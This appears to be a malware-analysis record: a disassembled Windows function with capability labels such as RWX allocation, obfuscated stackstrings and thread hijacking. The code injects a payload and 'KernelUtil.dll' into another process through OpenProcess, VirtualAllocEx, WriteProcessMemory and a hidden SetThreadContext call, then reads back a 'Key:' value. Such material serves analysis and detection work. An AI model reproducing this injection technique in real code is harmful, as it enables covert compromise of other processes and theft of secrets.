Function at 0x4041e0
Capabilities:
Allocate or change rwx memory
Contain obfuscated stackstrings
Execute shellcode via indirect call
Resume thread
Suspend thread

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x406e92
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0xf60
push ebx
push esi
push edi
push 0x2c8
xor ebx, ebx
lea eax, [esp + 0x3d8]
push ebx
push eax
call sub.MSVCR100.dll_memset
add esp, 0xc
mov dword [esp + 0x3d0], 0x1003f
cmp dword [0x40a8c4], ebx
jne 0x404244
mov ecx, dword [ebp + 8]
push ecx
push ebx
push 0x1fffff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov dword [0x40a8c4], eax
mov edx, dword [ebp + 0xc]
push edx
push ebx
push 0x1fffff
call dword [sym.imp.KERNEL32.dll_OpenThread]
mov edi, eax
cmp dword [0x40a8c0], ebx
jne 0x40427c
mov eax, dword [0x40a8c4]
push 0x40
push 0x3000
push 0x1000
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [0x40a8c0], eax
push str.Kernel32.dll
mov dword [esp + 0x18], 0x54746553
mov dword [esp + 0x1c], 0x61657268
mov dword [esp + 0x20], 0x6e6f4364
mov dword [esp + 0x24], 0x74786574
mov byte [esp + 0x28], bl
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov esi, eax
push str.GetModuleHandleA
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x40759c
push esi
mov dword [esp + 0x14], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.WriteProcessMemory
push esi
mov dword [esp + 0x30], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
lea ecx, [esp + 0x14]
push ecx
push esi
mov dword [esp + 0x18], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push edi
mov esi, eax
call dword [sym.imp.KERNEL32.dll_SuspendThread]
lea edx, [esp + 0x3d0]
push edx
push edi
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
mov eax, dword [0x40a8c0]
mov edx, dword [esp + 0xc]
mov dword [str.____], edx
lea edx, [eax + 0x80f]
mov dword [0x40a495], edx
mov edx, dword [esp + 0x28]
mov dword [str.DDDD], edx
lea ecx, [eax + 0x800]
lea edx, [eax + 0x83f]
mov dword [0x40a4a2], edx
push ebx
mov dword [0x40a489], ecx
mov dword [0x40a4b0], ecx
mov ecx, dword [esp + 0x10]
lea edx, [eax + 0x400]
push 0x52
mov dword [0x40a4a7], edx
mov edx, dword [esp + 0x30]
mov dword [0x40a4b5], ecx
lea ecx, [eax + 0x85c]
push 0x40a488
mov dword [0x40a4c2], edx
mov edx, dword [0x40a8c4]
mov dword [0x40a4bc], ecx
mov ecx, dword [esp + 0x494]
push eax
push edx
mov dword [0x40a4ce], eax
mov dword [0x40a4d5], ecx
call dword [esp + 0x24]
mov eax, dword [0x40a8c0]
mov ecx, dword [0x40a8c4]
push ebx
push 0x7c
push str.KernelUtil.dll
add eax, 0x800
push eax
push ecx
call dword [esp + 0x24]
mov edx, dword [0x40a8c0]
lea eax, [esp + 0x3d0]
push eax
push edi
mov dword [esp + 0x490], edx
call esi
push edi
call dword [sym.imp.KERNEL32.dll_ResumeThread]
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
mov dword [esp + 0x3c], ebx
push 0x102
lea edx, [esp + 0x2ce]
xor ecx, ecx
push ebx
push edx
mov dword [esp + 0x38], ebx
mov word [esp + 0x2d4], cx
call sub.MSVCR100.dll_memset
add esp, 0xc
push 0x3fe
lea ecx, [esp + 0x6a6]
xor eax, eax
push ebx
push ecx
mov word [esp + 0x6ac], ax
call sub.MSVCR100.dll_memset
mov eax, dword [0x40a8c0]
mov ecx, dword [0x40a8c4]
mov esi, dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
add esp, 0xc
push ebx
push 4
lea edx, [esp + 0x34]
push edx
add eax, 0x400
push eax
push ecx
call esi
mov eax, dword [esp + 0x2c]
mov ecx, dword [0x40a8c4]
push ebx
push 0x80
lea edx, [esp + 0x2d0]
push edx
push eax
push ecx
call esi
mov eax, dword [0x40a8c0]
mov ecx, dword [0x40a8c4]
push ebx
push 4
lea edx, [esp + 0x44]
push edx
push eax
push ecx
call esi
push 0x4075c0
lea edx, [esp + 0x6a4]
push 0x200
push edx
call dword [sym.imp.MSVCR100.dll_wcscpy_s]
mov eax, dword [esp + 0x48]
add esp, 0xc
push ebx
push eax
lea esi, [esp + 0x94]
call fcn.00403e80
mov edi, 8
add esp, 8
cmp dword [eax + 0x14], edi
jb 0x4044b7
mov eax, dword [eax]
mov esi, dword [sym.imp.MSVCR100.dll_wcscat_s]
push eax
lea ecx, [esp + 0x6a4]
push 0x200
push ecx
call esi
add esp, 0xc
cmp dword [esp + 0xa0], edi
jb 0x4044ea
mov edx, dword [esp + 0x8c]
push edx
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete_void__]
add esp, 4
push str._Key:
lea eax, [esp + 0x6a4]
push 0x200
push eax
call esi
add esp, 0xc
lea ecx, [esp + 0x2c8]
push ecx
lea edx, [esp + 0x6a4]
push 0x200
push edx
call esi
add esp, 0xc
push ebx
push ebx
push ebx
push ebx
push 0xffffffffffffffff
lea eax, [esp + 0x6b4]
push eax
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov edi, eax
push edi
call fcn.0040612c
add esp, 4
push ebx
push ebx
push edi
mov esi, eax
push esi
push 0xffffffffffffffff
lea ecx, [esp + 0x6b4]
push ecx
push ebx
push ebx
mov dword [esp + 0x30], esi
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
xor eax, eax
push 0xff
lea edx, [esp + 0x1cd]
push ebx
push edx
mov dword [esp + 0x18], 0x82dc9d3
mov byte [esp + 0x3c], bl
mov dword [esp + 0x3d], eax
mov dword [esp + 0x41], eax
mov word [esp + 0x45], ax
mov byte [esp + 0x47], al
mov byte [esp + 0x98], bl
mov dword [esp + 0x99], eax
mov dword [esp + 0x9d], eax
mov dword [esp + 0xa1], eax
mov dword [esp + 0xa5], eax
mov dword [esp + 0xa9], eax
mov byte [esp + 0xad], al
mov byte [esp + 0x5c], bl
mov dword [esp + 0x5d], eax
mov dword [esp + 0x61], eax
mov dword [esp + 0x65], eax
mov word [esp + 0x69], ax
mov byte [esp + 0x6b], al
mov byte [esp + 0x1d4], bl
call sub.MSVCR100.dll_memset
add esp, 0xc
xor eax, eax
mov byte [esp + 0x40], bl
mov dword [esp + 0x41], eax
mov dword [esp + 0x45], eax
mov dword [esp + 0x49], eax
mov byte [esp + 0x60], bl
mov dword [esp + 0x61], eax
mov dword [esp + 0x65], eax
mov dword [esp + 0x69], eax
mov dword [esp + 0x6d], eax
mov dword [esp + 0x71], eax
mov word [esp + 0x75], ax
mov byte [esp + 0x78], bl
mov dword [esp + 0x79], ebx
mov dword [esp + 0x7d], ebx
mov dword [esp + 0x81], ebx
mov dword [esp + 0x85], ebx
lea ebx, [esp + 0xc]
lea ecx, [esp + 0xb8]
call fcn.004010b0
lea eax, [esp + 0x30]
push eax
mov ecx, 0xc
mov edx, 0x40a34c
lea eax, [esp + 0xbc]
call section..text
mov ecx, eax
call fcn.004010b0
lea ecx, [esp + 0x8c]
push ecx
mov ecx, 0x16
mov edx, 0x40a460
lea eax, [esp + 0xbc]
call section..text
mov ecx, eax
call fcn.004010b0
lea edx, [esp + 0x50]
push edx
mov ecx, 0x10
mov edx, 0x40a478
lea eax, [esp + 0xbc]
call section..text
mov ecx, eax
call fcn.004010b0
lea eax, [esp + 0x1c8]
push eax
mov ecx, 0x100
mov edx, 0x40a35e
lea eax, [esp + 0xbc]
call section..text
mov ecx, dword [esp + 0x30]
mov eax, dword [esp + 0x38]
mov edx, dword [esp + 0x34]
mov dword [esp + 0x40], ecx
mov ecx, dword [esp + 0x8c]
mov dword [esp + 0x60], ecx
mov ecx, dword [esp + 0x98]
mov dword [esp + 0x48], eax
mov eax, dword [esp + 0x94]
mov dword [esp + 0x44], edx
mov edx, dword [esp + 0x90]
mov dword [esp + 0x6c], ecx
mov ecx, dword [esp + 0x50]
mov dword [esp + 0x68], eax
mov ax, word [esp + 0xa0]
mov dword [esp + 0x64], edx
mov edx, dword [esp + 0x9c]
mov dword [esp + 0x78], ecx
mov ecx, dword [esp + 0x5c]
mov word [esp + 0x74], ax
mov eax, dword [esp + 0x58]
mov dword [esp + 0x70], edx
mov edx, dword [esp + 0x54]
mov dword [esp + 0x84], ecx
sub esp, 0x1c
mov dword [esp + 0x9c], eax
mov ecx, esp
mov dword [esp + 0x98], edx
xor ebx, ebx
mov eax, esi
mov dword [ecx + 0x14], 0xf
mov dword [ecx + 0x10], ebx
mov dword [esp + 0x44], esp
mov byte [ecx], bl
lea edi, [eax + 1]
nop
mov dl, byte [eax]
inc eax
cmp dl, bl
jne 0x404760
sub eax, edi
mov edi, eax
mov eax, esi
mov esi, ecx
call fcn.00403aa0
sub esp, 0x1c
mov dword [esp + 0xfac], ebx
mov esi, esp
mov dword [esi + 0x14], 0xf
mov dword [esi + 0x10], ebx
mov edi, 5
mov eax, str.Hello
mov dword [esp + 0x44], esp
mov byte [esi], bl
call fcn.00403aa0
sub esp, 0x1c
mov byte [esp + 0xfc8], 1
mov esi, esp
lea eax, [esp + 0x21c]
mov dword [esi + 0x14], 0xf
mov dword [esi + 0x10], ebx
mov dword [esp + 0x108], esp
mov byte [esi], bl
lea edi, [eax + 1]
lea esp, [esp]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x4047d0
sub eax, edi
mov edi, eax
lea eax, [esp + 0x21c]
call fcn.00403aa0
sub esp, 0x1c
mov byte [esp + 0xfe4], 2
mov esi, esp
lea eax, [esp + 0xe8]
mov dword [esi + 0x14], 0xf
mov dword [esi + 0x10], ebx
mov dword [esp + 0x11c], esp
mov byte [esi], bl
lea edi, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x404811
sub eax, edi
mov edi, eax
lea eax, [esp + 0xe8]
call fcn.00403aa0
sub esp, 0x1c
mov byte [esp + 0x1000], 3
mov esi, esp
lea eax, [esp + 0xec]
mov dword [esi + 0x14], 0xf
mov dword [esi + 0x10], ebx
mov dword [esp + 0x13c], esp
mov byte [esi], bl
lea edi, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x404852
sub eax, edi
mov edi, eax
lea eax, [esp + 0xec]
call fcn.00403aa0
sub esp, 0x1c
mov esi, esp
mov byte [esp + 0x101c], 4
lea eax, [esp + 0xe8]
mov dword [esi + 0x14], 0xf
mov dword [esi + 0x10], ebx
mov dword [esp + 0x150], esp
mov byte [esi], bl
lea edi, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x404893
sub eax, edi
mov edi, eax
lea eax, [esp + 0xe8]
call fcn.00403aa0
lea edx, [esp + 0xb48]
push edx
mov dword [esp + 0x1020], 0xffffffff
call fcn.00401580
lea esi, [esp + 0xaa0]
mov dword [esp + 0xf74], 5
call fcn.004017a0
test al, al
je 0x404912
mov eax, esi
push eax
call fcn.004018c0
test eax, eax
jne 0x404912
mov ebx, esi
call fcn.00401c60
test al, al
je 0x404912
mov ecx, esi
call fcn.00401f20
test al, al
je 0x404912
mov ecx, esi
push ecx
call fcn.00401ff0
test eax, eax
jne 0x404912
mov ecx, esi
call fcn.004024d0
mov edx, dword [esp + 0x10]
push edx
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete___void__]
add esp, 4
lea eax, [esp + 0xaa0]
call fcn.00401450
mov ecx, dword [esp + 0xf6c]
pop edi
pop esi
xor eax, eax
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret